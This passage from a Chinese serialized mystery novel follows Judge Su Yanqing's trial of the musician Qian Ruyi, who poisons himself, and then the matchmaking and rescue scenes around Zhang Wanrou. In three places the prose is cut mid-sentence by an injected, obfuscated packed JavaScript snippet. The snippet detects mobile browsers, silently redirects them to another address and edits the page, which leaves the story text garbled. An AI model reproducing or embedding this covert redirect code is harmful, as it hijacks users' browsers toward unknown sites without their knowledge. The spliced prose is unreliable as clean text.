苏彦清一声冷笑道：“钱如意，楚芸儿死时毒手帕的细节、琴声骤停与跳窗逃跑的时序配合得天衣无缝，若非亲身经历，如何能如此精确地诱出，恐怕连说书先生都现编不出吧！ 钱如意一时顿住，却仍强辩：“我与那楚芸儿无冤无仇，为何要害她？说我替相爷灭口？证据何在？就凭那袋钱？那是我帮人修理古琴应得的工钱！你们抓不到真凶，就想拿我这无权无势的琴师顶罪，天大的冤枉！” 苏彦清一声冷笑：“有意思。本官何时提过‘相爷灭口’？你这般急于撇清，倒成了此地无银三百两。” 钱如意脸色骤白，急欲辩解，却支吾半晌，吐不出一字。 苏彦清正色道：“钱如意，事已至此，容不得你撒泼抵赖。不过，为叫你心服口服——陈聘，呈物证！” 两名衙役应声捧上托盘。盘中所盛，赫然是几样从吉水县“缘来客栈”顶楼密室搜出的证物：一双军靴、几截断裂生锈的特制镣铐；一方绣着九道缠蛟的锦帕；一本记录巨额不明银钱出入的暗账，落款处有几个模糊可辨的“阎”字花押；还有几页烧毁大半、残留着“陈”、“动向”、“速报”等字的焦黑纸片。 “可认得？”苏彦清目光如刀，直刺钱如意，“从你吉水县‘制琴仓库’——实则是你替主子经营多年的情报据点——搜出来的！” 钱如意见到那锦帕和暗账花押，瞳孔猛地一缩，身体剧烈颤抖，连呼冤声都卡在喉间：“那……那顶楼……小人只是租来存放木料和半成品琴……这些东西……小人实在不知！” “不知？！”苏彦清厉声喝断，随手抽起那双沾泥的独特军靴，狠狠掼在钱如意面前！“这靴子，是本官命人从你住处床下搜出！看这靴底纹路——”他指向一旁拓印画像，“与楚芸儿悬梁时脚下所踩凳面遗留的鞋印，分毫不差！再看他的左臂！” 话音未落，陈聘已箭步上前，一把扯开钱如意袖子——左臂上，赫然刺着九蛟图案！ 苏彦清离席近前，俯视着瘫软的钱如意，冷嗤道：“你果然是九蛟堂的人！谁人不知，九蛟堂是相爷的？要不要本官在牢里提个堂中人来问问？” 钱如意缩成一团，噤若寒蝉。苏彦清蹲下身，目光如冰，盯着他的头顶：“钱如意，说！严相为何要杀楚芸儿？” 钱如意死命摇头，冷汗早已浸透囚衣，紧贴脊背。 苏彦清忽地拈出一方手帕——与钱如意毒害楚芸儿那只别无二致——抬手便去拭他额角的汗。钱如意如避蛇蝎，踉跄急退。 “慌什么？”苏彦清一声冷笑，指尖慢条斯理地叠着手帕，“你可知楚芸儿毙命当日，我缘何立时便至？”见钱如意仍是摇头，他眸光骤寒，“她与你同为严相暗桩，却未似你这般心肠歹毒。她对刚直仁厚的陈大人暗生情愫，你逼她下的毒……她不忍，悄悄换下。谁知阴差阳错，竟被陈府仆人误饮。”他向前逼近一步，字字如刀，“那日傍晚，我恰至陈府，待追至醉仙楼……她已遭你灭口！” “大——大人——怎知——她是暗桩？”钱如意艰难问道。 苏彦清站起身，回到正座上，肃声道：“我自是不知，但陈大人早已料到。陈兄念及旧情，不忍揭穿，可恨的是尔等无情无义之辈，视性命如草芥！据聚仙楼掌柜所言，那楚芸儿当初，还是你引荐去的。彼时，她不过总角之年……钱如意，你——好——狠的——心肠！” 苏彦清将那堂木敲得啪嚓作响，而那一字一顿的怒斥，亦如同最后的丧钟，重重砸在钱如意心头。他浑身力气仿佛瞬间被抽干，瘫软在地，涕泗横流。 堂上鸦雀无声，苏彦清紧绷的面容稍稍缓和，眼中锐利的光芒渐渐沉淀为一种洞察真相后的冷肃：“钱如意，你还不认罪吗？” 苏彦清揉了揉太阳穴，晃眼间注意到了靠近大堂门口的一对母子，那年轻妇人形容憔悴、眼神惊惶躲闪，妇人怀中紧紧抱着一个约莫三四岁、同样沉默不语、小脸苍白的孩子。孩子露出的手腕上，隐约可见一道浅浅的、未褪尽的淤痕。 “钱如意！”苏彦清指着那对母子，“你告诉本官，他们又是谁？” 钱如意抬眼看了一眼，战战兢兢道：“他们是我捡来的。” “捡来的？为何要捡？你莫要说见他们可怜。”见钱如意不再言语，苏彦卿追问道：“你为何将他们用铁链锁在你密室的暗格里？为何那孩子身上有新旧的伤痕？为何他们母子自被救出以来，至今惊魂未定，不肯开口？！是天生哑巴，还是——”苏彦清的目光死死钉住钱如意，“被你们长期囚禁、恐吓，不敢开口？！” 那妇人听到“铁链”、“密室”、“伤痕”等字眼，身体猛地一颤，将怀中的孩子抱得更紧，眼中滚下大颗大颗的泪珠，却依旧死死咬着嘴唇，不敢发出一丝声音。孩子也把脸深深埋进母亲怀里。 堂上一片死寂。 忽然，那年轻妇人扑通一声跪在地上，声音沙哑道：“大人，救——救我们！” 钱如意被妇人突然的开口惊住道：“你——你不是哑巴！” 苏彦清急忙搀扶起妇人，妇人颤颤巍巍道：“哑巴？我何曾是哑巴！不过是不屑与你言语！大人！正是他，正是他们将我们母子囚禁，胁迫为质！只因……只因他们掳了我丈夫去当细作！只要我们母子尚在人间，他便不得不昧着良心，替他们卖命！卖命啊！” “好，你且不要惧他，他如今已经自身难保了。你刚刚说他们——他们是？”苏彦清急切问道。 妇人正欲开口，钱如意崩溃得大喊：“啊——”，他的眼中突然闪过一丝穷途末路的疯狂与绝望。他用尽最后一丝力气，猛地将右手食指塞入口中，狠狠一咬！动作快得惊人！ “不好！”陈聘离得最近，第一个察觉不对，飞身扑上，但已然迟了。 只见钱如意浑身剧烈抽搐，口鼻中瞬间涌出大量黑紫色的污血，腥臭刺鼻。他双目圆瞪，喉咙里发出“咯咯”的恐怖声响，眼神死死盯着堂上那方锦帕，充满了刻骨的怨毒和……一种诡异的解脱。不过短短几个呼吸，那抽搐便停止了，钱如意的头颅无力地歪向一边，气息全无。 “他嘴里藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763208|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了毒！”仵作余晖探了探鼻息，脸色铁青地站起身，对苏彦清摇了摇头，“剧毒封喉，顷刻毙命！” 堂上一片哗然！衙役们面面相觑，眼神中充满了震惊和一丝慌乱。眼看就要拿到指证当朝宰相的关键口供，人犯竟在画押前一刻服毒自尽！ “大人！这……”一旁的录事参军看着钱如意迅速变得青黑的尸体，又惊又怒，“人犯猝死，未能画押，这堂录口供……这案子……” 众人的目光都聚焦在苏彦清身上。 聚仙楼琴师跟旦角低声议论道：“这相爷也是神了，这钱如意宁可自裁，也不认罪。” 陈聘也眉头紧锁，看向苏彦清，沉声道：“大人，人证物证虽在，但主犯未及画押便死，恐生枝节。” 苏彦清缓缓从主位上站起，他的脸上没有丝毫慌乱，只是扫视了一眼钱如意的尸身，目光冰冷，随即转向惶惑的众人，沉声道：“刑律昭昭，断案虽重口供，却并非‘无供不判’！《唐律疏议》有载：‘若赃状露验，理不可疑，虽不承引，即据状断之！’” 他走到堂中，目光如炬，一一扫过那些关键证物：沾毒的手帕、带泥的军靴与鞋印拓片、吉水据点搜出的镣铐碎片、图腾锦帕、残留字迹的焦纸、记录着阎相花押的暗账……最后，他的目光落在那对依旧紧紧依偎、瑟瑟发抖的母子身上。 “此案，”苏彦清的声音斩钉截铁，“人证、物证皆在！钱如意杀人、囚禁、为严相充当爪牙之罪行，赃状露验，理不可疑！纵使其未及画押便畏罪自裁，本官亦当依据律法‘据证定罪’原则，定其罪状，结此案宗！此乃法理，亦是天理！” 苏彦清这番掷地有声的话语，字字铿锵，如定海神针般稳住了堂上浮动的人心。旋即惊堂木一拍，众人心神俱震，听他朗声下令：“清理公堂，详录案卷。” “是！大人，那他们母子？”陈聘一边说着一边朝其他衙役挥了挥手。 苏彦清的目光转向角落那对惊魂未定的母子，忙将他们请至偏室并温声道：“孩子，夫人，莫怕。凶徒已伏法，你们安全了。可否告知本官，你们姓氏名谁？孩子父亲现在身处何处？本官好施法营救，好让你们亲人团聚。” 然而，那妇人警惕地看了看周围，张了张嘴又合上，眼中充满了为难。她怀里的孩子也紧紧抓着母亲的衣襟，将小脸深深埋着，一声不吭。 苏彦清看着他们身上那浓得化不开的惊惶，心中了然。他又将陈聘拉至一旁道：“这对母子身份特殊，恐怕来了京城更是凶险，加之二人受惊过度，需静心调养。苏府虽非铜墙铁壁，但谅那幕后之人，短期内也不敢轻举妄动。先将他们安置在我处，待其心神稍定，再行打算。你看如何？” 陈聘郑重拱手：“大人思虑周全，如此安排甚好！有苏府庇护，定可保他们无虞。” 苏彦清点点头道：“那你去请舅母安排，着人仔细收拾两间厢房，派可靠的婆子丫鬟小心伺候。再请郎中过府，务必治好孩子身上的伤。我改日回府，亲自问询。” “是，大人！”陈聘领命。 25. 惊鸿偶拾 京城的残雪尚未褪尽，碎玉般的雪粒沾在大理寺朱红宫墙上，被料峭东风卷得簌簌作响，却化不开苏彦清眉间的郁结。他坐在值房案前，指尖无意识敲着那份烫金的相亲帖子，刑部侍郎家的请柬边角已被捻得发毛，砚台里的墨汁因寒气凝了层薄冰，映着窗外新抽的绿竹嫩芽，更显得他脸色比案头未拆的封函还要清冽。 苏彦清揉着突突直跳的太阳穴，只觉得头愈发疼了。刚处理完醉仙楼的案子，眼下又要应对相看之事。自那日在苏府被逼无奈应下相亲，舅母便如得了圣旨般，每日三封帖子往大理寺送，不是说某家小姐擅琴棋，就是讲某户姑娘工书画。 "陈聘，"他忽然开口，指尖将帖子推过案几，"送到我表兄府上。"陈聘接过信笺时，见他指节因用力而泛白。不一会儿，苏彦清猛地起身，墨色披风扫过案角。"备马，去望月楼！"靴底踏在青砖上的声响惊飞了檐下冰棱上的麻雀，残雪簌簌落在他肩头，很快融成深色水痕。 马蹄踏碎夕水街的青石板时，早春日光正漏碎云隙。茶肆酒旗翻卷着杏黄流苏，卖糖画的老汉袖底漏出的糖香混着新茶气息漫上来，青石板上蜿蜒的糖丝在童声嬉笑里牵出金丝般的光——他正用铜勺在光洁石面迤逦游走，琥珀色糖浆如流霞凝结。 与此同时，席春阁飞檐下，吴昭音指尖微顿，银针悬在蜀锦上半寸。绷架上的百鸟朝凤图已成一半，凤凰尾羽的金线在暮色里泛着微光，可她真正要完成的，是藏在绣荷手帕里的机密。三日前在径山寺外，她无意间听到阎相和寺丞的交语，此时她虽分身乏术，但此消息关人关己，必须尽快设法传到苏彦清手里。她连夜绣了幅荷花图作掩护，此刻正将密语化作豆大的墨点，藏在绿荷花瓣的叶脉之下。 檐角铜铃轻响时，她指尖在绷架上掐出个细褶。楼下糖画摊的喧闹声中，忽然混进几句粗嘎笑骂，吴昭音耳尖微动，三名泼皮正撞翻了老人的糖锅，琥珀色糖浆泼在青石板上，像一滩凝固的血。她捏着银针的手骤然收紧，针尖刺破指尖，一滴血珠落在绣帕的莲蓬上，恰好盖住了“方府”二字的墨痕。她慌忙用袖口拭去血迹，却听见巷口的马蹄声越来越近，直到那熟悉的三短一长的喝马声响起，她持针的手几不可察地颤了颤，正是苏彦清。她推窗望了一眼，只见他勒转缰绳，朝着望月楼的方向奔去。 而路过醉仙楼时，苏彦清亦忍不住回想那日与武贤弟探案的场景，却不知他如今身在何处。 今夜的望月楼灯火通明，堂内的木桌挤挤挨挨，店小二们拎着酒壶穿梭。苏彦清将马缰抛给迎上来的店小二，拾级而上时。 掌柜唐三笑嘻嘻道：“大人今日怎么是一个人？可还是老规矩？” 苏彦清闷闷地应了一声。唐掌柜见其神色冷峻，识趣地退了回去。过了一会，门外传来苏应中与唐三的寒暄声。“表哥！”苏应中瞧见他，立刻挥手招呼。唐三端着酒菜快步跟上。 “怎么了，瞧你这脸色！”苏应中拍着桌子灌下一口酒，“大不了学你当年在太学，装病逃考！我跟你说，我昨儿还见着城西李太医，他那方子……” “那也不能为了此事日日装病，装病了如何办案。”苏彦清打断他，目光落在窗外掠过的一辆青帷马车，车帘缝隙里隐约露出一点胭脂色，让他想起那晚她鬓边的那枝梅花。 苏彦清正回忆着，楼下忽然传来一阵喧哗，伴随着女子的怒斥和男子的调笑。苏彦清皱眉望去，只见楼下街心围着一圈人，几个锦衣华服的公子哥正堵着一位带着侍女的小姐，为首那人摇着折扇，言语轻佻：“小娘子这是要去哪儿？不如随小爷去前面的茶楼坐坐，哥哥我请你喝杯新茶？” 那少女身着月白素裙，外罩藕荷色比甲，青丝松松挽了个髻，插着一支简单的碧玉簪。她身形端正，模样清秀，此刻黛眉倒竖，杏眼圆睁，盯着那公子哥的眼神像淬了冰：“让开！” “哟，还是个带刺的。”公子哥嬉皮笑脸地伸手去拉她的手腕，“妹妹脾气这么大，哥哥更喜欢了……” “啪！” 一声清脆的耳光响彻街市。众人还未反应过来，那少女已欺身而上，手腕一翻，竟用筷子狠狠敲在公子哥的手腕上，只听“哎哟”一声惨叫，筷子脱手飞出，正好砸在旁边一个跟班的脸上，令其吃痛地叫唤起来。 "你敢打我？！"公子哥捂着红肿的脸颊，眼中满是难以置信。他身后的几个跟班见状，立刻捋着袖子围了上来。 “打你又如何？”少女冷笑一声，不退反进。她脚尖点地旋身避开拳风，紧接着又足尖勾住路边条凳腿，长凳横扫而出，正绊在公子哥膝弯上，只听"扑通"一声，那人摔了个狗吃屎，冠帽滚出三尺远，一头乌发一时间乱作一团。 "光天化日调戏良家女子，"少女拍了拍裙角的尘土，声音清亮，"本姑娘今日便替你父母教教你何为礼数！" 她动作行云流水，几个跟班刚想上前，就被她三拳两脚打得东倒西歪。围观的百姓纷纷叫好，苏彦清和苏应中在楼上看得目瞪口呆。 "竟有这般人物！"苏应中猛地起身，茶盏被袖口带得在桌面当啷轻晃，他伸长脖颈望着楼下，眼中泛起欣赏之色，"表弟你看——" 苏彦清也有些意外，他见过的贵女多是娴静端庄，像这般泼辣果敢的实属少见。只见那少女教训完无赖，拍了拍手上的灰，理都没理地上哼哼唧唧的公子哥，提起裙摆便要离开，却在抬头时与楼上的苏应中对上了眼。 她微微一怔，随即像是没看见般，转身便走。苏应中却像被勾了魂，痴痴地望着她的背影，直到她消失在街角，才猛地一拍桌子：“唐掌柜！你可知刚才这小姐是哪家的闺秀？” 唐三刚从楼下看热闹回来，闻言嘿嘿一笑：“您问的是那位揍人的姑娘？那可是咱们京城里有名的‘霸王花’——刑部张尚书家的千金，张菀柔小姐！” “张菀柔？”苏应中念叨着这个名字，眼睛越来越亮，“刑部张大人的女儿？怪不得功夫这么好，原来是家学渊源！” 旁边的店小二也凑趣道：“可不是嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763209|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！张小姐从小跟着张大人在刑部长大，什么拳术棍棒没学过？刚才那几个是户部侍郎卢知年的三公子，活该被揍！” 苏应中越听越兴奋，端起酒杯一饮而尽，青铜酒盏在木桌上磕出脆响，眸光如星火跳跃着迸出赞叹：“菀彼桑柔，其下侯旬......好一个张菀柔！”他喃喃念着《诗经》里的句子。 苏彦清看着表哥那副魂不守舍的模样，忍不住失笑：“怎么，表哥这是看上人家了？” 苏应中脸色泛红，低头浅笑道；“为兄只是觉得惊奇，如此爽朗灵秀，快意恩仇的女子，比那些只会吟风弄月的闺阁小姐强百倍！”忽而又转移话题道：“你近来手上那几桩案子查得如何？”苏应中执银筷夹起一块红烧鹌鹑时，烛火在他玉冠上跳跃出细碎的光。苏彦清刚要开口，楼下突然传来小二的呵斥声：“去去去！叫花子别在这儿碍眼！” 两人循声望去时，只见楼梯拐角处正蜷着个扎冲天辫的小乞丐——青布褂子上摞着三层补丁，露在外面的手腕爬满灰垢，唯有怀里揣着的素白手帕被护得严严实实，边角绣着的缠枝莲纹在暮色里泛着细微光。 "哪来的叫花子瞎闯！"那孩子被店小二的推搡得趔趄半步，却突然拔高嗓音喊：“是位姑娘让我送的！她说找望月楼的苏少卿！”话音撞在雕花梁柱上，惊得梁间燕子扑棱棱掠过。 苏彦清握着酒盏的手指骤然收紧，青玉扳指硌得指节泛白。他垂眸时瞥见袖口暗纹与帕角莲纹在烛火下交叠成影，忽而扬声冲破满室寂静："唐掌柜，让他上来。" 木楼梯在小乞丐脚下踩出"咚咚"声响，后跟还沾着泥星子，唐掌柜也跟着跑了上来。苏彦清接过帕子的瞬间，指腹触到丝绸特有的凉滑肌理，鼻尖倏忽萦绕起一缕极淡的徽墨香。 "那姑娘在何处？"碎银落进孩子掌心时，苏彦清留意到他指甲缝里嵌着朱砂色。小乞丐攥着银子原地转了圈，冲天辫扫过雕栏玉砌："你猜！给了钱就走啦！"话音未落已像个泥猴似的蹿下楼梯，腰间空荡的钱袋在暮色里晃成模糊的黑影，惊得门口铜铃"叮铃"响了半盏茶功夫。 “嘿，这娃儿。”唐掌柜刚想追上去，转念又好奇地笑着问道：“莫非是那晚的姑娘？” 苏应中凑过来看帕子：“那晚的姑娘？谁？这绣工倒是别致，不知是哪家姑娘送的定情信物？”苏彦清没接话，眼底浮过一丝亮色：难道是她？他？只见那帕子中央用月白丝线绣着朵初绽的荷叶，叶茎处针脚略乱，倒像是匆忙赶工的痕迹。他摩挲着荷叶边缘，顿感这荷叶之下必有蹊跷，喉结轻轻滚动了几下，便将帕子悄无声息地折成小块，塞进内衬暗袋，搪塞道：“莫要胡说。” 苏应中看出其神色异常，侧首跟唐掌柜耳语道：“快说说。” 苏彦清白了两人一眼，忽然像是想起什么似的，一拍桌子道，“不对啊唐三，你方才说那张小姐是哪家的？” “张小姐？刑部啊——刑部张大人。”掌柜呆愣应道。 “啊？！”两兄弟异口同声。 26. 春兰多情 翌日，苏府苑中桃花正盛，秾华灼灼，缀于青玉栏杆畔。东风拂过，落英缤纷，暗香逐人。然这般秾丽景致，却难融苏应中眉间半分郁结。他独立九曲桥边，墨色锦袍绣着暗纹云鹤，广袖被风微扬，倒映在澄明池水中，恰似一帧凝住的水墨。 水面浮萍聚散无定，他望着波心碎月，神思又飘向昨日的望月楼。彼时暮色四合，张小姐面对轻佻的卢三公子，眸光骤冷如霜，素手翻处，打得那登徒子踉踉跄跄。那一刻的飒爽与凛然，恰似空谷幽兰遭风拂，于他心湖漾开层层涟漪。偏生...偏生她又是与表弟彦清相看之人。 “苏公子，怎么一人在此对着落花长吁短叹，“ 清朗声线自后方传来，带着三分狡黠。苏应中回首，见来人着浅绿素袍，束玉冠，正是借住府中的表弟之友朱穆。这少年身形纤细，眉目俊秀，只是眼角眉梢总带着几分不属于男子的灵动。此刻他摇着泥金折扇走近，鞋尖踢落阶前一朵残红，笑道：“我方才在暖阁里看书，瞧着表哥在这廊下转了三十六个圈，鞋底都快磨平了。不知所谓何事?“ 苏应中闻言，嘴角浮其一抹苦笑。 珠儿继续追问道：“莫不是害了相思病?“ 苏应中一怔，负手的指节微蜷，故作轻松道：“小孩子家，休要妄议。” “非是妄议，“珠儿倚着桥柱，折扇轻敲掌心，“莫非真有女子能令苏表哥如此牵肠挂怀?“见苏应中叹气不语，又道：“为何不向其直抒心意呢?“ 苏应中环顾四周，轻声道：“我心属之人乃是弟弟彦清的相看之人。” “诶~相看又如何？又不是婚约。更何况以彦清大哥的习性，恐怕很难……“话说一半，突然被苏彦清打断。 “很难什么?“只见苏彦清身着竹青色直裰，手中一卷《洗冤集录》，行至近前时合上书页，目含笑意。 珠儿立刻转身，拱手乖巧道：“苏大人来得正好，我正与表哥说张小姐的事呢。” 苏彦清目光掠过苏应中微蹙的眉峰，心中已然明了。他走上前，在石凳上坐下，缓声道：“张小姐才貌双全，然...弟弟志在推理断案，于儿女情长之事，素来疏淡。”他抬眸看向苏应中，眸光诚恳，“表哥若心有所属，何必为这一纸虚约自困？彦清明日便会去信张府，言明此事。” 苏应中愕然抬首，见表弟眼中并无半分芥蒂，反是鼓励之意，一时喉头微哽：“彦清，这...如何使得？更何况今晚便是你们的相看之期，如此朝令夕改，恐怕……“ “有何使不得?“珠儿忽然插言，“缘法天定，岂是旁人三言两语能定？表哥若真心倾慕，便当坦然而求。” “正是！今夜苏府相看，我便寻个由头回避，你代我出去应付便是。”苏彦清拍拍苏应中的肩膀道。 “倒也不必躲。”珠儿眼珠灵动一转，莞尔道，“小弟有个主意。”随即凑近苏彦清耳语一番。苏彦清听罢，惊诧地看了她一眼，旋即忍俊不禁；一旁的苏应中却是满脸茫然。 珠儿继续道：“小弟虽不才，却愿为表哥打探张小姐的喜好。她爱松烟墨还是龙涎香，喜读《诗经》还是《史记》，我必查得清楚。” 苏应中看着少年眼中的赤诚，心头郁结渐散，拱手道：“如此，便多谢贤弟了。只是张府门禁森严，切勿冒昧。” “表哥但放宽心。”珠儿一笑，转身便要离去，衣袂扫过蔷薇丛，惊起几只粉蝶。苏彦清望着他的背影，对苏应中笑道：“这孩子虽小，却颇有机变，或能助你。”说罢便起身告辞，朝西厢走去。 且说珠儿离了苏府，原想先去张府附近的书铺茶肆探听，却在路过花坊时听说那春兰居然是张小姐种的。据说她平日除了舞刀弄枪以外，最爱侍弄花草，每月逢九便会去城郊的汀兰圃。 珠儿心中暗喜，又算了算时日，今日正是十九，不如先去城郊探探路径？念及此，她便沿着护城河往城外而去。 城郊官道旁草木葱茏，溪水潺潺。珠儿牵着驴子走了约莫半个时辰，果然见前方山坡下隐着一片竹篱花圃，匾额上题着“汀兰圃“三字，笔力清劲。她正想凑近瞧瞧，忽闻一阵车轮声自官道传来。 珠儿连忙闪身躲入树后，只见一辆青帷马车在花圃门前停下，车帘掀开，先下来的是两个侍女，随后走出一位身着月白襦裙的女子。她头戴帷帽，轻纱下露出一截皓白颈项，腰间系着碧玉双鱼佩，行走间环佩轻响。珠儿环顾四周，估摸着眼前之人大概便是张小姐了。 张小姐并未立刻入园，而是对侍女低语了几句，似乎在吩咐事情。珠儿悄悄绕到花圃西侧的竹林里，想看看她如何侍弄兰花，也好多搜集些喜好。 谁知刚穿过半片竹林，忽听前方官道拐角处传来一阵粗鄙的笑骂声。珠儿伏在草丛中望去，只见五六个家丁簇拥着一个锦衣公子，正倚在官道旁的歪脖子树下。那公子面色阴鸷，腰间玉带歪斜，赫然是之前在吴宅抓捕刘凌风的卢三公子！ “诶，那不是昨天那个小贱人吗?“卢三眯着眼睛，摇着手上的瓷瓶道：“今日刚好手上有这个，待会便要试上一试。你们几个，看我眼色行事，先制住那两个侍女，再把姓那个小蹄子给我掳走！“ 珠儿心中大骇，没想到卢三竟在此埋伏！她偷眼望去，见张小姐已解下帷帽，正站在花圃门口与花匠说话，却不知危险已近在咫尺。 卢三使了个眼色，家丁们立刻按剑上前，脚步踏在碎石路上，发出轻微的声响。”小姐别来无恙！“ “是你！“张小姐清冷道。 卢三公子狞笑道：“昨日你让我颜面尽失，今日便让你尝尝滋味！“说罢，他从袖中掏出一个瓷瓶，拔开塞子便往张小姐面上凑去。一股奇异的甜香散开，张小姐正要发力却感绵软，眼睫轻颤着合上了。一旁的侍女与花匠也被卢三的家丁迅速制服。 珠儿急得手心冒汗，正欲冲出去，却见一道青影自巷口疾掠而来，正是放心不下、特意寻来的苏应中。 “住手！“苏应中声如清钟，手中竹骨折扇“唰“地展开，扇骨点向卢三公子手腕。他虽不擅武技，然常年修习书画，腕力沉稳，这一下竟逼得卢三后退半步。 “苏...苏公子?“卢三见是御史大夫之子，气焰顿时矮了三分，却仍色厉内荏，“此事与你何干？莫要多管闲事！“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763210|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏应中未及答话，却见张小姐软软倒下，他心中一急，纵身向前，在她倒地前扶住了她的纤腰，入手温软，他一时竟有些怔忡。 “表哥！快带小姐走！“珠儿趁机大喊，捡起地上的石子掷向家丁。 苏应中回过神，见卢三公子仍欲上前，当即将张小姐横抱而起，转身便往巷外跑。他身形清瘦，却步履沉稳，怀中女子的重量让他心头一紧，只觉她呼吸轻浅，显然是中了迷药。 珠儿和其余侍女显然不是卢三的对手，只得也跑了起来。珠儿边跑边撕下裙纱裹住头，再掏出平日里防身的椒末和姜屑往后扬了起来，卢三一行人果然中招。 几人跑出巷口，街角正好停着一辆空轿，苏应中连忙将张小姐抱入轿中，对轿夫道：“去最近的医馆！“说罢摸出一锭银子塞过去。珠儿则识趣地离开了。 轿帘落下的刹那，他见张小姐睫毛轻颤，似乎微微睁开眼，眸光朦胧中，竟有一丝不易察觉的依赖。 医馆内，老大夫诊过脉，道是中了迷药“醉流霞“，并无大碍，只需静养半日。苏应中这才放下心来，守在屏风外，听着内室传来的细微动静。 约莫半个时辰后，屏风响动，张小姐扶着丫鬟的手走了出来。她重新挽了髻，脸上虽无血色，眼神却稍显清明。见到立在窗前的苏应中，她微微一怔，随即敛衽一礼道：“今日之事，多谢苏公子相救。” 苏应中连忙回礼：“张小姐客气了，路见不平，理应如此。”他见她眉宇间仍有倦色，想说些宽慰之语，却又不知从何说起。 张小姐抬眸看他，见他衣摆微乱，鬓角染着些许尘埃，显然是方才奔走所致。她素来性子冷傲，极少对人假以辞色，此刻却难得放柔了语气：“苏公子亦受累了。敢问公子府上何处？他日……也好登门致谢。”心下突然想到：莫非是苏家二郎？ 苏应中赧然揖道:“家父苏淳礼，现忝任御史，小生小字应中。” 张小姐闻言，眸中讶色一闪:“竟是苏府大公子?小女失敬。不知公子怎会出现在兰圃?“ “哦，哦，小生近日在画兰，素闻汀兰圃有全京城最好的兰花。”苏应中的脸红到了耳根，不知是害羞还是因胡诌的无措。 张菀柔望向苏应中，眸中不复初时的疏离，反添了一抹羞涩的感激：“今日大恩，菀柔铭记于心。”言罢，便携了丫鬟欲去。 苏应中忙追唤：“张小姐——“ 张菀柔莲步微顿，倏然回眸。苏应中续道：“其实，我们昨日见过的，在望月楼。” 张菀柔经他一提，马上记起事来。苏应中又继续道：“那卢三公子本是恃强凌弱、欺软怕硬之辈，此番纠缠不休，许是不知小姐身份。依小生之见，不如禀明令尊，稍加惩戒。试想若他今日得逞，岂不……“言及此，忽觉不妥，语声顿歇。 张菀柔微微颔首，目光在他脸上轻轻一掠，迅即低垂，只低声道：“多谢公子告知”便转身离去。 苏应中站在原地，望着她消失在街角的背影，手中似乎还残留着她的温度。方才她眼中那一闪而过的关切，如同一滴墨，悄然晕染在他心湖深处。 27. 苏府夜宴 黄昏的檐角沾着金红，苏府正厅的灯笼已次第亮起，绛红色的绸幔在穿堂风里轻轻晃荡，筛下细碎的光。今晚这场名为探春的宴饮，实则是张苏两家的相看之局。府里的仆妇们端着漆器食盒往来穿梭，银器碰撞声混着厨下飘来的甜香，将往日里肃穆的侯府衬得有了几分烟火气。 张菀柔站在游廊转角，指尖无意识地绞着帕子。宴饮虽未开席，女眷们却已在花厅候着，可她从入府起，就没见着苏彦清的影子。张母方才还笑着对苏夫人说“年轻人爱自在”，可菀柔瞧得分明，母亲袖中的手正紧紧攥着。她听母亲说苏家二郎是京中难得的儒士，博览群书，颇爱断案，是以心中也有一丝好奇与期待。正想着，脑海中突然闯入苏家大公子苏应中的浅笑，不知苏公子现在又在何处？ 突然，一把折扇从后方指了过来，作为习武之人的警觉，张菀柔迅速回身，却见珠儿饶有兴致地坐在石桌旁吃起了葡萄。 “原来是你。不知这位小公子作何称呼？”张菀柔笑吟吟问道。 “在下姓朱，珠玉的“珠”……呃，不，是丹朱之“朱”！言罢耳根微热，暗恼险些露了女儿痕迹。珠儿环顾四周，见无人注意，便低声道：“张小姐，要不去后院看看？方才我瞧着苏大人往那边去了。” 菀柔点点头，提起月白色的裙摆，避开正厅的喧闹，沿着抄手游廊往后院走。越往后走，人声越轻，只有廊下挂着的鹦鹉百无聊赖地梳理羽毛。后厢房位于花园西侧，此刻门虚掩着，里头透出昏黄的灯光。 她屏住呼吸，透过门缝朝里望去。 屋内光线并不明亮，只靠窗的书案上点着一盏羊角宫灯。苏彦清果然在，他穿着一身竹青色，乌发用玉冠松松束着，侧脸线条清俊，正低头看着一卷书。 张菀柔正想出声，却见苏彦清的右手一直放在书案边缘，指腹轻轻摩挲着一个圆滚滚的东西。那东西在灯光下泛着青白的光，形状有些古怪。菀柔好奇地凑近了些，借着灯光定睛一看，猛地倒吸一口凉气——那分明是一颗骷髅！ 骷髅的眼眶黑洞洞地对着她，虽非精致玩物，却也不似沾着血腥。张菀柔虽懂得舞刀弄枪，但毕竟也只是学了一些防身之法，从未见过此番场景。正惊疑间，听得苏彦清身侧的手下朗声道：“大人，这是我最近新得的练手骨殖，我又新学了颅骨伤痕比对之法。”边说边忍不住朝门外瞟一眼。 